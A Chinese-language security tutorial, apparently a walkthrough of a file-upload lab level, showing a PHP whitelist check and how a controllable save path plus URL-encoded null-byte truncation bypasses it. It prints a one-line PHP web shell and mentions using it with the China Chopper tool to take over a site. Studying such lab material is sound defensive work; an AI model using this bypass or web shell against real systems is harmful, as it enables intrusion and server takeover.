在前面幾期的時(shí)候,關(guān)注頭條號的粉絲說(shuō),如果上傳漏洞,我直接用白名單過(guò)濾,不就解決了嗎? OK,從這期開(kāi)始就是白名單的繞過(guò),各位看官得仔細領(lǐng)會(huì )了(@^_^@)
采用的防御手法是白名單過(guò)濾,只允許上傳jpg、png和gif類(lèi)型,并且將上傳的文件給重命名為了白名單中的后綴
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上傳失??!';
}
處理上傳文件的方式
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
看起來(lái)這樣防御并沒(méi)有什么問(wèn)題,但是這一關(guān)上傳目錄是可控的所以可以先上傳一個(gè)后綴名為jpg,內容為一句話(huà)木馬的文件,然后修改上傳目錄為.php后綴,之后在.php后使用截斷后面的拼接內容,注意這里需要關(guān)掉magic_quotes_gpc這個(gè)php擴展,否則00會(huì )被轉義
$_GET['save_path']這里使用00截斷."/".rand(10, 99).date("YmdHis").".".$file_ext;
注意這里的00字符因為在url的GET參數中,所以需用進(jìn)行url編碼
通過(guò)這種方法就可以成功繞過(guò)十一關(guān)的上傳檢測
By the way,許多對安全感興趣但沒(méi)有這方面經(jīng)驗的小朋友,看到這里總是感覺(jué)顯示一個(gè)phpinfo的頁(yè)面能代表什么,能夠執行phpinfo(),這個(gè)函數證明,上傳的文件可以執行PHP腳本,這個(gè)時(shí)候如果上傳的是一句話(huà)木馬<?php eval($_POST['A'])?>,就可以直接配合『菜刀』拿下整個(gè)站點(diǎn),查看源碼,甚至修改數據庫或者控制操作系統。
聯(lián)系客服